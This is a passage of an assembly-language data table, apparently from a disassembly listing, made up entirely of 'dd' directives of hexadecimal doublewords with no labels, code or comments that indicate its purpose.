		dd 0CC40C0BEh, 1B007EA6h, 7CA13FDFh, 0F51D36Ah,	442A810Ah
		dd 94123820h, 9231674Ah, 0AF0B2877h, 75C35212h,	39952811h
		dd 36BDF208h, 19822710h, 590283D4h, 31922858h, 12A7B329h
		dd 56AD10FDh, 89613388h, 0C128402Fh, 318080CCh,	0EB1140F7h
		dd 2272D620h, 5B31AEFBh, 0A92529B6h, 6CD08F10h,	28425781h
		dd 0A9648710h, 621A29CCh, 0AA379BAh, 0A2133C22h, 2E413D8Ch
		dd 9F79D70Ch, 0F99C40h,	3311D31Ch, 6C1C613h, 0C52A5A00h
		dd 9470BEEFh, 87710069h, 655BF636h, 0C80123CFh,	6A05D8E2h
		dd 48801ABBh, 0D9B0905Fh, 4E0E5D30h, 60E46C87h,	0EEC5B432h
		dd 0E81001C4h, 7393FCEh, 0A5BDE8B7h, 0D1314100h, 532783F2h
		dd 955900C4h, 44E1DE5Ch, 8800D59Dh, 1EF65A9Bh, 0E2350Dh
		dd 6D87315Dh, 96D1DB84h, 404824E9h, 8565F303h, 0C091FDF0h
		dd 770C9E31h, 3EF51C8Ch, 6DB40F58h, 0D9A9AB40h,	0F100D185h
		dd 0BF8156C4h, 0E44E8D3Eh, 330E072Ch, 0A0199D31h, 1CB193AFh
		dd 0E5F7B50Eh, 5F66408Ah, 7E0FCE71h, 0FF9F0008h, 0D8218EB2h
		dd 0E0C7A9ACh, 0F6E0A462h, 5081ECh, 0C197C042h,	0E7EF87A1h
		dd 837DB200h, 124B74BFh, 3D3E00DDh, 9C6A491Ch, 4201D801h
		dd 4461A4CDh, 0CBECC26Fh, 51A2C07Ch, 0DF5A1ACFh, 526338F8h
		dd 99442246h, 0CDC82116h, 40540069h, 0CA6014BBh, 1D001826h
		dd 5649B433h, 39CD1B22h, 0BC80DE71h, 0BBF77B36h, 0E107C250h
		dd 0F12046FAh, 38C60DEh, 0C4CF7Fh, 0DF55B480h, 92739C50h
		dd 326F860Bh, 200D72Fh,	9E4D7C4Ah, 6400D7EAh, 6EF4CB93h
		dd 69A813h, 0A537DAC7h,	847A3B01h, 4EBF5300h, 0A147CF68h
		dd 552C00DDh, 237152C5h, 287CFBE5h, 4284500Ah, 0B00E4C9h
		dd 3EF1F963h, 0D15D00D7h, 0F52CBE9h, 303D55Ah, 0FB793FE3h
		dd 8F841782h, 487100C3h, 94EBDE20h, 607F5CB0h, 80D5A139h
		dd 0C7EB915h, 3D169684h, 0EF80D9B6h, 679B8917h,	7B009FC9h
		dd 0D7A82472h, 13E6E934h, 0AAD17Ah, 6E58C7E1h, 0A4F2802Fh
		dd 331C1200h, 4ADA9132h, 0D77F40h, 510FAE77h, 0B6892948h
		dd 3F787600h, 178CDE94h, 0D67404F3h, 803303C9h,	0E7158D5Ch
		dd 8B9C2B0Eh, 0A53BA2E5h, 579860E3h, 882300C3h,	6597522Fh
		dd 7A000FFCh, 0A0D45AFAh, 0BCD05Ch, 0BFAA4457h,	6FC160BEh
		dd 0FDB69F0Fh, 0B39A87A2h, 0A96F280h, 0EE02004Fh, 0CCD40FF6h
		dd 9E5C30C3h, 924C006Eh, 14FAE079h, 8DB873h, 0A49AD694h
		dd 0EBB9D732h, 5DB8C000h, 45FED4D2h, 75840F4Dh,	0D24761h
		dd 958E2618h, 71E6C71h,	380974Ah, 90CE80A4h, 68C00027h
		dd 2F3BD9B4h, 0C100A8AEh, 0CD9B9C5Ah, 7E06CF43h, 1057931h
		dd 3EEFFF33h, 0C818FC5Bh, 0EA064F83h, 3B775ADCh, 3A7DE6h
		dd 65475314h, 931F01B6h, 6667A901h, 738CD03Ch, 3EFE3020h
		dd 4680E64Fh, 0FB2C1536h, 0BF00907Dh, 83C91601h, 283258h
		dd 63D007E7h, 0A885FC60h, 677ED51Ch, 69E268C0h,	7A9F90h
		dd 92055187h, 19FE7D23h, 0BB636A0Eh, 0F50F4010h, 0C0183D37h
		dd 5346F6EAh, 0EF00FB16h, 434BACE1h, 1DB08E1Eh,	0C0C93501h
		dd 0E885860h, 6900F83Bh, 8CF01CFCh, 7AC22C38h, 0C5ECCCh
		dd 186E2A3Eh, 79139C3Dh, 0A0A4A92Ch, 27596401h,	40E20760h
		dd 0DFDFBh, 0F35C6A1Ch,	15568ECCh, 0A3925F00h, 0DD9DADE5h
		dd 0D4233D14h, 8CA0F480h, 0F87F9E65h, 487EFB00h, 0C0E79FADh
		dd 3B5F00DDh, 0FB54177h, 9C00D097h, 3F654D6Ch, 7CDB2735h
		dd 895005Dh, 8C994BC2h,	1600E62Ah, 0BBA3E1F8h, 1F4366h
		dd 0CF33214Dh, 921A9C88h, 0E0174000h, 0BCFE8DC4h, 165E0278h
		dd 0C280B967h, 980CC840h, 0E79EA907h, 0FC029B1h, 3C53C0F2h
		dd 0F4335Ah, 0DC8BB50Bh, 3AE03B70h, 0BAA348h, 804A7C8Ch
		dd 0FFA6DDh, 0D91C9A6Eh, 0B94BC793h, 7F275B00h,	0B8B8673h
		dd 514D00E0h, 1CF147F8h, 9A3A0776h, 80A0802Dh, 0BA83E3Fh
		dd 0F2440072h, 8D6C41C5h, 6400529Fh, 0C626E3Ch,	2C27A4h
		dd 6A90405Bh, 5ACD6921h, 0D8D20D00h, 0B8E7983h,	3A71F826h
		dd 7FE04C2h, 131A09A4h,	0EC1FA1FEh, 0FDDFC00Bh,	52D6B000h
		dd 0E5BC27E3h, 0D16F0399h, 481FE859h, 0F0F8EFD3h, 5401BA29h
		dd 695E4696h, 0FE60D9BCh, 6A4D00B0h, 0D6C01D94h, 0BD3E7E73h
		dd 350A0098h, 62C6F51Ah, 0DCC73053h, 0C40754Ch,	59BDE900h
		dd 9AE32B90h, 0B2CE0033h, 9921E06Ah, 16381D54h,	2B938339h
		dd 0DB79C5F4h, 252800D2h, 8D26FA81h, 0F20EC984h, 0A0F028E8h
		dd 0F9CD7301h, 7E15EE04h, 0E46602C0h, 19809F4Bh, 0E0ECB8E1h
		dd 0DA004865h, 4AC7F053h, 28C89EA2h, 0CDD031h, 0CF892F7Eh
		dd 0AF791AC6h, 2BA0FE00h, 45D8B175h, 9D990062h,	5EF385B3h
		dd 4E00013Dh, 8C8B0CFEh, 71B26Bh, 6487B1B8h, 2DB72B77h
		dd 0D9F5601h, 91B43433h, 0E534DE0h, 0D331DF94h,	0F057E1A0h
		dd 0F900AFDEh, 48D9033Ah, 810855h, 9458C865h, 2F7FAC18h
		dd 0CCCDE702h, 0E1AE7C90h, 0A03B24EBh, 3A02C14Fh, 64CA280Fh
		dd 440F4033h, 44494CB9h, 0BC99F380h, 0D22CD140h, 4E00C188h
		dd 0F13262F2h, 0C31E1D09h, 5AE90F70h, 0A54A6D80h, 0B31EEBE8h
		dd 0C5C07113h, 8FCC1101h, 0E02A0057h, 73DF0261h, 0CB00E216h
		dd 0AF562F37h, 0D4418Bh, 0CF25E071h, 0B299553Ch, 0F98C0100h
		dd 7FC9213Dh, 0CB3B00C4h, 65908F9Dh, 530066ACh,	1300898h
		dd 241183CAh, 24BD0B2Eh, 662C0700h, 4B0710C9h, 8B485D0Dh
		dd 0D13E014Dh, 2A92BCC2h, 78C760F6h, 1AFB0045h,	8BCF8E06h
		dd 96006754h, 701BBF3Bh, 0A9C65Ah, 9F3B9EAh, 7B7E6F81h
		dd 0B894B00h, 29153ADEh, 0CE062461h, 94B30069h,	0D80C7D5Bh
		dd 4DB71B03h, 0A8FFE179h, 5EBA495h, 0F29E559h, 0F1F4409Ch
		dd 9EBC36E8h, 0DC572004h, 0CB80BA69h, 0F68A1BECh, 1EC7000Bh
		dd 4A9A2CFBh, 5A0011B8h, 0EE02331h, 0B891A895h,	981D0504h
		dd 0BF14476Ch, 3040F480h, 0A52200E6h, 3A2C7FF9h, 0B30E8754h
		dd 602EBBD1h, 0AA75E765h, 0D41E00CFh, 4950408Fh, 61018901h
		dd 0E5703531h, 0D020C651h, 9C993A10h, 14D2C787h, 23119015h
		dd 0EC7FD8E2h, 6086AA09h, 30048168h, 64C4CB4Fh,	9EAF00D0h
		dd 25FD91A0h, 60B824DBh, 2833E92Eh, 8B72D640h, 0B6E70067h
		dd 164A98D8h, 5675B479h, 0F78ED000h, 0D7D4BCDBh, 0C7F0118h
		dd 0EAA8AD23h, 814CD02Ch, 0BDD39400h, 0E37886E1h, 0F1AA0043h
		dd 404DEE5Dh, 2C0F9BDAh, 8011A8F4h, 15D27AC1h, 26D93992h
		dd 4E662800h, 0F2BC202Fh, 0AB643A00h, 3297D72Eh, 0D6B05D3h
		dd 80D448D5h, 0B3112A88h, 7345E200h, 9C63285Eh,	40FF003Dh
		dd 7BD5F069h, 1000E6Bh,	0E1AAA06Ch, 0B1EF8Bh, 65F9EDFh
		dd 0ABD8D4E7h, 47D5A00h, 0DE6F18E0h, 88550203h,	8D142C86h
		dd 9038C52h, 4C1A5470h,	6BCAC8D8h, 0D7BD51B0h, 944092D5h
		dd 1642FCFh, 0B61CEB02h, 0D8733340h, 2D001DB8h,	1B08FD8Fh
		dd 0C061563Dh, 6F1128F0h, 0B100A339h, 41DC9A0h,	4EB89Eh
		dd 0E341AD02h, 0A24879A1h, 0A4E09724h, 3C28FA50h, 77007206h
		dd 15705BA4h, 9158DAA1h, 139D1793h, 0CC40CC1Ch,	2BF1176Ch
		dd 0C2140071h, 0F695AE72h, 8B053AD8h, 604C754Fh, 0E0332880h
		dd 0A7F50004h, 3CC1D969h, 18000FCCh, 0B882C3BCh, 0EFB24852h
		dd 18550FCh, 0FBD4BBE6h, 0E1217EDEh, 2CC3CEE4h,	0C586F7A0h
		dd 7C664A07h, 6D10F45Ah
		dd 9877ADCAh, 5B200085h, 0DBAFB0BFh, 0DC58FA88h, 5C0F0044h
		dd 0E599E607h, 0B76F0005h, 0EE82E75Ah, 38787116h, 3DC22100h
		dd 0AC4B4C02h, 9C300079h, 0EAE8BC3Eh, 0A40EC5E4h, 5CA95232h
		dd 0C832FFD3h, 5B4C207Bh, 0D8003D48h, 7F4EEF34h, 2E9799F1h
		dd 3AFCB3DFh, 0F500893Bh, 0CAC83928h, 0C700B4FFh, 0F7BE3CC3h
		dd 4ABAF9h, 875C69EBh, 7BD34704h, 0F1918509h, 96440034h
		dd 7DD437DDh, 0D95907CBh, 20E9FC35h, 477B5B60h,	933F2400h
		dd 848CEA9Ah, 490700DCh, 0CBF53856h, 330078A3h,	3C889B5Bh
		dd 3A53EB41h, 0CCDC9434h, 0D9907203h, 5000C480h, 1D09EDC2h
		dd 2738614h, 62175F32h,	0D9C0B4EEh, 0B23DDE55h,	8007BFF7h
		dd 18D5DFE1h, 362E0CEh,	4A784576h, 0FFA92D1Ah, 71C4D923h
		dd 88D9C87Ch, 9F71CEFAh, 807D6D3Ah, 55CDD8C1h, 2678FD8Dh
		dd 21053DDh, 0D3235CEAh, 0A0F944C0h, 7A623F02h,	63DF40B0h
		dd 0D2BA93E8h, 45F287A2h, 4789A130h, 34BD02E4h,	1B74FF0Bh
		dd 7E7850E0h, 0E701A271h, 5053CC41h, 89CC63B4h,	0A72D00C2h
		dd 0B8D93D2Ch, 7D3A73FAh, 40BE80EAh, 6D0A4C36h,	34F301A6h
		dd 88D1A7FFh, 3873F89Ah, 33FD1413h, 8AC0F800h, 7A25C6h
		dd 0A285F083h, 0CCB85BF2h, 4F742009h, 0C0682084h, 8DF950h
		dd 0E754C9B2h, 3B94E1AFh, 7200DB78h, 0BE6699B4h, 604E15h
		dd 0E3650D8Eh, 36879741h, 80CA6F38h, 76C54D11h,	17E789h
		dd 0FF6A8E6Bh, 0CCA871F5h, 6F8F8200h, 6C2E9AA3h, 4E720059h
		dd 2DED03B8h, 0E1759160h, 93A4D050h, 0CC7A9700h, 0A76D163Ah
		dd 7553901Bh, 3BA400FBh, 19A310C7h, 7B006A37h, 698FD855h
		dd 74BF80FCh, 0E95B8C2h, 10580C98h, 0D5CBD063h,	0E4883DCBh
		dd 1C0072FBh, 0D8475312h, 90ED1Eh, 4C0CEEB3h, 82712859h
		dd 331C1700h, 75B15345h, 3C100E8h, 7CE647BDh, 0BA00C06Ch
		dd 2BFCE1ADh, 0B63B64F8h, 0BF4B006Ch, 26ECFA4Fh, 504CDCB0h
		dd 0C43F0Ah, 0E43953F1h, 2331B25h, 4B879575h, 7C40073Ch
		dd 0CE00ED1Dh, 948ADFC8h, 0F3C574h, 258145EBh, 0D89CC0E9h
		dd 82B8A900h, 0D4107075h, 0BADB1C30h, 5BEEC06Ch, 58B5491Fh
		dd 680260B8h, 0D4CD328Eh, 0CC14E04Ch, 0B3E55CC4h, 4809A800h
		dd 47E81227h, 43AAF200h, 6E9FE11Dh, 0D8994CAFh,	0D2188F00h
		dd 0B63EC4B5h, 9D297F00h, 3D53D602h, 67AEC4D4h,	0EF6C80DDh
		dd 0B6074A71h, 99A24CA9h, 0BA266ED1h, 0CA17FF8h, 51313FD1h
		dd 0EF078DB2h, 0D39E1B47h, 9746A00Eh, 160D4Ah, 6D7D28FEh
		dd 36BB71C2h, 17B56200h, 0C088F6B6h, 0CB8F0030h, 8EA7C57Ch
		dd 600321Ah, 0D1FA3F4Eh, 0CF6752h, 14868D2Eh, 0A77B9141h
		dd 5ACA3600h, 0ABD3AD89h, 14E00B1h, 84F4929Eh, 1B0088C0h
		dd 738F4C4Ah, 721CFD45h, 6197E3Ah, 0F74F0C16h, 373F32A7h
		dd 0A376131Bh, 0FE18E800h, 152F653h, 1DB4A020h,	315BBFC1h
		dd 866BF444h, 17BBA900h, 0A784F9C9h, 0E9411CA0h, 2E4EC06Dh
		dd 0D9FDBD22h, 76512000h, 58CBC7C4h, 9EE2000Ah,	0FC6BCC69h
		dd 0D9A02C8Ch, 0AF0CC95Ch, 0B81DB65Eh, 0D24A07D0h, 374D90D3h
		dd 4623E041h, 753A7912h, 8092BA11h, 26918E28h, 26322DBh
		dd 0CAA950B0h, 0F560E3B7h, 2D00A77Dh, 675FD01h,	9027FBB3h
		dd 0D87000B1h, 4203FCAh, 6E2E58B4h, 0FA009E02h,	5E14DD53h
		dd 2CF301D7h, 0FCDC7AE8h, 511A30CAh, 68D33F02h,	0CB703B7Dh
		dd 0AA27C048h, 0A2D800D7h, 8C15B651h, 1A1217FDh, 14001804h
		dd 94E5F3BBh, 0F9B900C1h, 3D20FCFh, 807B9748h, 3E727A05h
		dd 768071C0h, 215646Fh,	5BDB2939h, 60E16D4Dh, 4432D86Ah
		dd 879A4500h, 67AF70F7h, 4CC11E61h, 0F1F3C7DEh,	16E650CEh
		dd 7003834h, 96D159A9h,	0EAC08F6h, 0EAF3108Fh, 0B8C9E940h
		dd 0A50B2523h, 2529FB5h, 8109DF6Eh, 312782F4h, 167301D0h
		dd 0C8221Ah, 8BFAB1E4h,	629834A6h, 2C0045E4h, 86A7DD5h
		dd 30F0EE95h, 42DA1E2Bh, 180FE6F2h, 24F51A87h, 78C837FDh
		dd 0F7E6B7h, 0B9D91D03h, 6A55EBFCh, 0A8650C00h,	31E4DD26h
		dd 0E8B126DFh, 56581C70h, 8DDC04ACh, 0E41080EDh, 0BF12D922h
		dd 0D401C68Fh, 0D3714FAEh, 0B200886Ch, 0D21C26E1h, 0D7002E1Fh
		dd 0B69A56DAh, 14CF541Bh, 9567A749h, 647326h, 0C770411Ah
		dd 0FF09218Ch, 8750EB79h, 3120E239h, 145AF8Bh, 8C19DC9Eh
		dd 0C47B2253h, 0A601B85Eh, 172F031Fh, 7E1D3Dh, 368BE7A0h
		dd 0FD137A3Ah, 844091C2h, 79287D9Eh, 9F7B00D7h,	8DED49C5h
		dd 2700A297h, 0DDF75E3Bh, 9EE0181h, 5911BAFCh, 49DE0C00h
		dd 190195B4h, 7F13E541h, 0CAED6D87h, 7BB35E8h, 0D7D2FBE6h
		dd 688966A6h, 0D6B1520Eh, 294E2056h, 5C8F2h, 0DC761681h
		dd 0C41F31E6h, 0BCA42839h, 625D0037h, 0D9E9A84Bh, 704A0075h
		dd 200B88F1h, 0ED01BB77h, 8980176h, 54DC65C4h, 2BA013Fh
		dd 0F64847E1h, 567820A1h, 0EC20360Fh, 160E670Bh, 8877220h
		dd 4F1B0E59h, 12C08D6Eh, 43E0D65Dh, 4EA9C800h, 0D8F98499h
		dd 77A8EA26h, 9EC70059h, 5D041E5Ah, 131EB6DAh, 0E440D84Eh
		dd 6BBD8EA0h, 0BB793CFBh, 192CAD80h, 3B966FABh,	41812807h
		dd 808BC1DBh, 0DF5BF10Bh, 645C1229h, 201800B1h,	0EEE64FABh
		dd 985ABD90h, 0B6E71800h, 39BFA169h, 0F4C5D6h, 8250555Fh
		dd 4DCF5A0Dh, 4784E50Fh, 0C492773h, 0CCAC0B60h,	5ECB162Ch
		dd 0D1E00035h, 5B966C62h, 2B66F800h, 55B7B6A4h,	328F00F9h
		dd 5020A5CCh, 7E04FA96h, 91F88677h, 224F5C80h, 0D91E00B3h
		dd 4AA5159Eh, 0AA070954h, 0D64D3A68h, 3510B847h, 4B6CC012h
		dd 87B01E98h, 566DBE7Eh, 0A70010C4h, 400D4D32h,	3E56BD8Ch
		dd 5C80444Ah, 9E5FB155h, 0E7034764h, 0D187C172h, 17E298BDh
		dd 2AD2002Dh, 79C27DDBh, 23E8BE4Ah, 701CE42Dh, 559204B1h
		dd 0E07D2604h, 7C2E3F6Ch, 3BCDCE9h, 0DD296711h,	2CAED1A1h
		dd 0DE98E0h, 229F60A6h,	38F61A47h, 34243100h, 0EB42DA74h
		dd 2DA6002Ah, 1DF0A9FFh, 6548579Eh, 0A8FD009Ah,	602E64A3h
		dd 0C9D701D9h, 3C877958h, 0DC443099h, 7F0BE58h,	0BFDE3E1Dh
		dd 73A9C460h, 443031Eh,	9379F296h, 80928795h, 9F8CD112h
		dd 10E7600h, 0B4C9A6E5h, 701E7097h, 27983FB8h, 4DC3928h
		dd 0E5241735h, 2D44C899h, 0F86C512Ch, 0DD5DD79Ch, 0E88054D7h
		dd 3E325Eh, 6A875545h, 0B92721F4h, 0A89B4D3Fh, 0B4038CEDh
		dd 3F452CFDh, 0D55AC0E8h, 310D001Ah, 15A61DCAh,	5858B2EBh
		dd 0E65D0A60h, 9F01B830h, 0D89BD783h, 0BD00B82Ch, 0DF47F380h
		dd 0E90EC045h, 0A01D8103h, 9DC6216Fh, 83440E38h, 0BCFCD90h
		dd 9BCA68A0h, 357EBAD6h, 59F36700h, 0F06D05BEh,	41980010h
		dd 1CB1F531h, 0AA05F7CAh, 0E567A302h, 0F43888D0h, 3DC35CD9h
		dd 0B7CC16h, 2634D7F4h,	5F006454h, 0C0425552h, 0E0E4C5h
		dd 0FC088512h, 0A853671Ah, 620E2C02h, 8088EDE6h, 0FAAD97F9h
		dd 1CDC484Eh, 3AD6B600h, 5046340Ch, 40B7BF06h, 740B323h
		dd 0BAA54CB9h, 0C20F4032h, 414C2955h, 595000A4h, 0E652B946h
		dd 9492F6h, 0C6FF9749h,	1295C38h, 0FDC2421Dh, 0DE7CF707h
		dd 40460992h, 0A6EBAAh,	320F14B1h, 0CAE41783h, 8A95AC00h
		dd 279B5AFDh, 934F00D5h, 0F97BE255h, 0CA007481h, 6B3E2E63h
		dd 1BD5292h, 9FEF5610h,	0D04604CBh, 1D00692Ch, 0B911A23h
		dd 4BD57D1h, 0D3F4E0B8h, 0C2408C32h, 0E24B9500h, 0A08A163Bh
		dd 9CCD487Fh, 7730490Eh
		dd 57CC7EA0h, 69134CD3h, 0C4085E6h, 0E21BAC63h,	30E00F5h
		dd 0C262BA92h, 0A300D645h, 8CDBBC43h, 1E9F363Bh, 4BB34441h
		dd 5080E199h, 45A11E30h, 12CF39h, 562341Ah, 299E3DAh, 2B6C6FC9h
		dd 0A0E6922Dh, 0C04D3100h, 0FC418596h, 9DC80952h, 404B347h
		dd 73489C5Bh, 501FC300h, 2F853FF7h, 347D006Ah, 52131D2Eh
		dd 3859312Ah, 786300B0h, 9F989A70h, 0EDC006FAh,	59D0E74Fh
		dd 23AEC207h, 6E525388h, 605A62A0h, 0CF9C724h, 0DD034689h
		dd 81004A49h, 0C6C1C342h, 785B23h, 193A4C7Ah, 2657B733h
		dd 0BDC5FD00h, 3D6B877Dh, 24819546h, 0E306A1AAh, 0E4E9F7F0h
		dd 10404D02h, 8045521Eh, 0D012A2F3h, 1D4A0F9Ah,	0AFE0A1F2h
		dd 0CA9092A8h, 0E0A5800h, 464D53CDh, 7C874C7Ah,	0DFD90500h
		dd 367BF144h, 0A4F5809h, 0BD7700E0h, 26079A76h,	768D5h
		dd 61B5FFE7h, 6300FA77h, 0D21D1BFCh, 17BEDB22h,	38C803h
		dd 9A2ACC34h, 82006704h, 78175DB4h, 0FC687F20h,	588EECBCh
		dd 88008E23h, 0A8DBF2EAh, 7424018Bh, 690020C5h,	12D697D3h
		dd 0F59405C8h, 0C782A33Dh, 634A8035h, 7E0092B8h, 2DAF6F97h
		dd 2C4766h, 0AEA76C68h,	0E9C15098h, 9B86C500h, 0CA7D90BBh
		dd 0B0760202h, 653F3E46h, 0BFA9FC80h, 0C4A007F1h, 0A712AF45h
		dd 28003927h, 0BBB0DDC4h, 0E02F012Ch, 0FE80A583h, 0D14B6070h
		dd 4425C8B8h, 0A918003Bh, 1D2A5639h, 803E6DBBh,	335E8D7Eh
		dd 1801E190h, 0EE122B36h, 463005F1h, 74150382h,	7E9A0119h
		dd 48298BD0h, 0A1A29800h, 151B2BF5h, 7C5625C2h,	0AC8C20C0h
		dd 6646D100h, 53116C9h,	36E50052h, 88759989h, 0A43B22B6h
		dd 186E30D7h, 0C6AFE0h,	70545D6Dh, 0D457D671h, 5BC58D1Ch
		dd 6F8E9E80h, 2B5D0D9h,	18C0E789h, 9CE07A58h, 92592E0Ch
		dd 61961CD0h, 0C9B2F340h, 0EBA4A68h, 6E8F9CC5h,	0F8652140h
		dd 38007014h, 743E766h,	79763BDAh, 0F57C0394h, 3487E27Bh
		dd 4A72CBC0h, 74332103h, 0D83FB153h, 12AF31h, 9B988DA2h
		dd 0EF85DFE8h, 0B089905h, 0CF833496h, 0E0D3C27Eh, 50BC04h
		dd 58743212h, 716D6E61h, 8C31CC28h, 2C0995Ch, 0EED07768h
		dd 4A2850DDh, 40441218h, 0E67A3AC8h, 711399F3h,	0B70014A9h
		dd 0D9CB7DFBh, 9FDD1F63h, 5244C042h, 4A5C3DD8h,	7C082F00h
		dd 0E247599Ah, 2E0900CCh, 85980E6Eh, 440B17EEh,	87536312h
		dd 0B76045E9h, 5CADA9AFh, 0FD13DA1Ah, 0DFD30FC3h, 57807F6Bh
		dd 3D0CD343h, 531F4D00h, 0B428B240h, 0D46F0B06h, 1781748Ch
		dd 0C883B9A3h, 0DD00A19Dh, 0D8A8E379h, 0C2BF6Ch, 112E85Fh
		dd 0E590A440h, 41567607h, 0DB5367EDh, 32888030h, 0D86400C4h
		dd 0CCDCBEA7h, 29009A7Eh, 4AA19ECFh, 3E9BB02Ch,	0C2805553h
		dd 316EF0ECh, 0BD02FC28h, 77C39A59h, 0B8EF4024h, 0CBBC00EDh
		dd 6C0555EEh, 0D41EB5C2h, 0EC1190Dh, 5E202E0Ah,	0AFE030h
		dd 1C2F4CEFh, 4B8A3566h, 86E0C71Ch, 80BAED00h, 475B44h
		dd 89057D1Dh, 0A4CA4677h, 0DCB41626h, 0B487BF50h, 6CC904A8h
		dd 0E48A87Fh, 0BCC40AEh, 0D35182F4h, 7CF8A2h, 0B40A6360h
		dd 57CD938h, 720095E8h,	3F939B55h, 2C9D4416h, 30B7601Dh
		dd 9A350A38h, 0FD2CED00h, 8CA98E86h, 2C747BC2h,	0C32E7Ch
		dd 400CF826h, 0B82D9E1Eh, 0B9B0B853h, 0EB820021h, 5F4AE2C0h
		dd 460045BAh, 5EBFC929h, 309BAC26h, 53566F8Fh, 1400C7FAh
		dd 0D80A799Ch, 71968BCh, 0CE01554Bh, 5FC9C049h,	0C107EFD7h
		dd 893F53F4h, 20EEA900h, 5D2000Bh, 54BEA166h, 2503467h
		dd 5207D6E8h, 320DE062h, 0F03D5351h, 371D7068h,	3B41AC90h
		dd 0C3F4F8h, 0DA652DFFh, 0B658F313h, 52F82A7Eh,	80D7FB3Ch
		dd 0F719D1A4h, 48FC62CDh, 0CE3C21ACh, 3D0027BAh, 20950EDDh
		dd 13009DCBh, 153BF979h, 561E4Ch, 0C151CCFFh, 8D767AB2h
		dd 4A0B6200h, 8ECE9448h, 30835FCBh, 57BECC00h, 0D07D2300h
		dd 28AD8976h, 85CF0021h, 0BDF1B642h, 9000F3FDh,	0F06D9C9h
		dd 198D638h, 10F8B09Eh,	409BA27Fh, 73C551E4h, 896C293Bh
		dd 0B496B45h, 7E1E0080h, 714867B2h, 125301B9h, 0A5B1D14Ah
		dd 9787D00Dh, 7B9E8000h, 0A93BA12Fh, 8A6A00D9h,	21649B82h
		dd 8F0048C6h, 41103334h, 83A9BAh, 6F231B80h, 6D451A77h
		dd 6947300h, 767011ACh,	75D81EC6h, 141500B5h, 5D1E23FDh
		dd 0AE4F8300h, 65B6690Ah, 0EA6F004Bh, 39F96803h, 5700A5EEh
		dd 46B818F6h, 0E56AC85h, 9F5C8605h, 0AAB00B60h,	7800B5B3h
		dd 0CDAE175Bh, 392E08A4h, 912ECBEAh, 0A6D100D1h, 0BFCA4934h
		dd 5AC1AB00h, 0E87BB5Dh, 1CC20073h, 0BDCE8314h,	847E1EEEh
		dd 0D1FA11C0h, 602C37h,	0B411777Ah, 0E80AF085h,	1E63C100h
		dd 0B9AB271Ah, 25EF00E7h, 4A64CF87h, 0DD009178h, 0C5077F7Dh
		dd 0F624C604h, 0E8B5016Ah, 0E98F2367h, 434FD8D2h, 0D82B0C00h
		dd 48541FBAh, 87F3A1C7h, 77AAFEF0h, 0AB6A0037h,	0A4442393h
		dd 9800E0DFh, 269C5D30h, 8B9F33h, 0B660373Ah, 2E8AF471h
		dd 5FA1709h, 1611004Ch,	1E4F9245h, 804640ADh, 0A3D11FF7h
		dd 0A700E4A4h, 25E6DBEDh, 0B96A78h, 0D892154Ah,	0A0F02E60h
		dd 86CA1002h, 0C17C7629h, 7030B9E9h, 0B9D0FD3h,	6DA03F46h
		dd 4159D937h, 6EDFCA16h, 39D87C40h, 12E3F854h, 0F1807DE8h
		dd 25DAE0FCh, 0B705457Dh, 0E3042AABh, 90C3DE83h, 13500A22h
		dd 0E2E94h, 0B1BC854Fh,	0BB00A0D1h, 0B44D7280h,	4FEC1FD3h
		dd 0FB5C802Eh, 7167CF1Ah, 0C1505570h, 0B29A975h, 5663E1C2h
		dd 49A7AB00h, 0AC0680BCh, 0B2AFF42Eh, 36F93C31h, 0F5B5CE81h
		dd 0DB2AA401h, 487EBD92h, 0ECD81201h, 1840B0F4h, 0CD90424h
		dd 0C89F9BCCh, 0FA203081h, 7AC504DFh, 0D0153DEEh, 2B11D78h
		dd 0FCEA248h, 7B9B1739h, 0E5590338h, 538BA1CFh,	15794900h
		dd 0D1CB10C5h, 0A91216ACh, 99D4075Eh, 0AA9DF4DCh, 0B7C00BC0h
		dd 6ABD00DDh, 845BCAE3h, 8E00AA2Ah, 302B5935h, 439382h
		dd 0D3F01DE5h, 4CA67D75h, 8808D61Ch, 55F2A400h,	74696h
		dd 20322FF3h, 5E0AB5D2h, 0C68FB00h, 1D1F1774h, 4BC00037h
		dd 7E16A9CCh, 0E628B05Dh, 8D72C1E3h, 0BB941B07h, 942EA10Dh
		dd 834800F4h, 0A0EE50D9h, 36B40ECCh, 7289670Bh,	22610420h
		dd 0D900436Dh, 87DAD2B0h, 21760h, 0A854F12Ch, 27AF4872h
		dd 884E952Ah, 186CF30Ch, 5F186Eh, 69C84138h, 103E38Fh
		dd 0B4A59E16h, 4C6E70A4h, 98058F60h, 5FAF62BDh,	781F00C0h
		dd 826A6956h, 0FEBCD500h, 6EAF4B14h, 0B1BB0CB0h, 8130CB54h
		dd 2961800h, 0AD2D93F1h, 340300D0h, 2C8C79D7h, 0A500D26Dh
		dd 4D925AF3h, 104B59Bh,	0EAD856DEh, 0F4824084h,	0ED13ECCCh
		dd 0BB005E99h, 152C785Ch, 9F961C79h, 7FB1803Dh,	0BB389B77h
		dd 180035F0h, 84C039C7h, 26259Dh, 0C6D94D49h, 22445C3h
		dd 39BB2D00h, 8A2F3E92h, 69B00757h, 9FF42BD2h, 0A7D11DA0h
		dd 0D700F83Fh, 70DC8CB3h, 1C65DAB8h, 87F42F2Dh,	0B0BD43B4h
		dd 6B722EE8h, 0E613A801h, 3B087FD6h, 0FE955F4h,	61837743h
		dd 0F2149E20h, 0D818A0E1h, 8990224Bh, 5B0A0E30h, 0ACC0F3B2h
		dd 61AB4451h, 351C6C00h, 0DEA59345h, 25B00317h,	0F8D599FCh
		dd 0D1CC96E0h, 0F7CBE204h, 8C804E14h, 38BE623Dh, 2D836E4Bh
		dd 45387051h, 0B5FA0CC8h, 0E60AF61h, 2C40271Ch,	84E4216h
		dd 0D655FC22h, 0B898F941h, 42AA14CCh, 1B670869h, 36C40865h
		dd 8C302941h
		dd 6189002h, 0D14D40DFh, 41089242h, 761CB03Ch, 8B17BB91h
		dd 51C3025Ah, 2C844BB8h, 58E4C6FDh, 1F951421h, 0AD6C220Ah
		dd 77ED5940h, 88728064h, 68C058A2h, 510C3002h, 590B5C2Ch
		dd 0B12A647Dh, 742F4388h, 7ABE9B4Bh, 3B810050h,	0E76C3A60h
		dd 0F7022D54h, 12826483h, 0CD8157CEh, 0D8B3D625h, 0B50F3A61h
		dd 0E3AB04F9h, 1D630CA4h, 9EAE3D68h, 0F61A0047h, 0DC89FC45h
		dd 62DE8100h, 0AF2A129Ch, 227200F7h, 1FFFCA4Bh,	81008FDDh
		dd 7E4AE1A2h, 70A8928h,	34BEDE2Fh, 876E20F8h, 9B301331h
